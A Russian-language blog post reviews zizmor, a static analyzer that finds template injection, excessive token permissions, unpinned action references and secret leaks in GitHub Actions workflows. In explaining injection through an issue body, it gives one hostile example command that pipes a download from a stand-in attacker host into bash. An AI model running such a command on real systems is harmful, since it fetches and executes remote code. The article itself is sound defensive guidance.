Как не превратить свои GitHub Actions в «дыру» для хакеров

16 Jul, 2026
5,873
🔱 224
👥 14

Представьте ситуацию: вы настроили CI/CD, тесты зеленеют, артефакты собираются. Кажется, всё под контролем. Но потом внезапно выясняется, что кто-то со стороны смог подбросить свой код прямо в ваш пайплайн через обычный Pull Request или Issue. Это не сценарий из фильма про хакеров, а вполне реальные уязвимости GitHub Actions, которые часто остаются незамеченными даже в крупных проектах.

Инструмент zizmor — это статический анализатор, написанный на Rust, который за несколько секунд проверяет ваши YAML-конфиги на наличие дыр в безопасности. Название отсылает к старой рекламе дерматолога: «теперь у вас будут красивые и чистые воркфлоу».

zizmor demo

Почему стандартных проверок безопасности не хватает

В GitHub Actions есть много нюансов, которые сложно отловить при ручном ревью. Например, вы используете входные данные из контекста github.event.issue.body внутри run-скрипта. Кажется, что это просто текст комментария. На деле атакующий может оформить этот комментарий так, что он закроет вашу команду и выполнит curl http://attacker.com/malware | bash. Это классическая инъекция, только в мире CI/CD.

Проект zizmor фокусируется именно на таких вещах: конфигурационных ошибках, избыточных правах и небезопасных ссылках на экшены.

Реклама

Что именно проверяет инструмент

Я просмотрел документацию аудитов проекта, и список впечатляет. Вот несколько критичных моментов, на которые zizmor ругается в первую очередь.

Инъекции в шаблоны

Анализатор ищет места, где пользовательский ввод напрямую попадает в скрипты. Если zizmor видит, что данные из github.event подставляются в Bash-скрипт без экранирования, он поднимет тревогу. В нормальной ситуации такие данные нужно передавать через переменные окружения, а не подставлять строкой.

Избыточные права GITHUB_TOKEN

По умолчанию токен в воркфлоу может иметь слишком много прав. Инструмент проверяет, задан ли блок permissions явно. Если экшену нужна только запись в Checks, а у него есть доступ к содержимому репозитория и пакетам — это плохой знак. В случае взлома одного из сторонних экшенов ущерб будет максимальным.

Ссылки на коммиты и ветки

Многие привыкли указывать версии экшенов как @v1 или @main. Это удобно, но опасно: владелец экшена может перезаписать тег или ветку. Zizmor поощряет использование полных SHA-хешей коммитов. Это гарантирует, что код, который вы запускали вчера, не изменится сегодня без вашего ведома.

Утечка секретов

Инструмент отслеживает, не попадают ли ваши токены и пароли в логи или в места, где они могут быть случайно сохранены. Бывает, что разработчик выводит переменные окружения для отладки, забывая, что среди них могут быть конфиденциальные данные.

Как это работает на практике

Утилита поставляется в виде бинарника, который можно поставить через cargo, brew или просто запустить через Docker.

zizmor .

Одной команды достаточно, чтобы просканировать все YAML-файлы в директории .github/workflows. Вывод очень наглядный: он показывает строку кода, тип проблемы и короткое пояснение, что именно не так.

Если вы не хотите устанавливать ничего локально, проект логично предлагает использовать сам себя в качестве GitHub Action. Это самый правильный путь: проверка запускается на каждый PR, и если кто-то из команды решил «срезать углы» в конфиге, билд просто не пройдет.

name: Run zizmor
  run: zizmor .
  env:
    GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}

Техническая сторона вопроса

Инструмент написан на Rust. Это дает два преимущества: он очень быстрый и его легко запустить где угодно без установки тяжелых рантаймов. В основе лежит статический анализ — zizmor не запускает ваши воркфлоу, а разбирает структуру YAML и ищет паттерны, которые ведут к уязвимостям.

Интересно, что проект поддерживают такие компании, как Grafana Labs и Trail of Bits. Это хороший показатель того, что инструменту можно доверять аудит безопасности.

Стоит ли внедрять

Если у вас в репозитории больше одного воркфлоу и вы принимаете внешние контрибьюты, то однозначно да. Даже в закрытых корпоративных репозиториях лишняя проверка прав токенов не помешает.

Из минусов можно отметить, что некоторые советы zizmor могут показаться слишком строгими — например, требование фиксировать все экшены по SHA-хешам. Это усложняет обновление зависимостей, но такова цена безопасности. Красивые и чистые воркфлоу требуют небольшой дисциплины.

В остальном это простая и понятная утилита, которая закрывает огромный пласт проблем в безопасности современной разработки. Попробовать её на своем проекте можно за пару минут, и, скорее всего, вы найдете хотя бы одну рекомендацию по улучшению.

🍪 Мы используем файлы cookie и сервис аналитики Яндекс.Метрика, чтобы сайт работал лучше. Продолжая пользоваться devtrends.ru, вы соглашаетесь с обработкой данных согласно Политике конфиденциальности.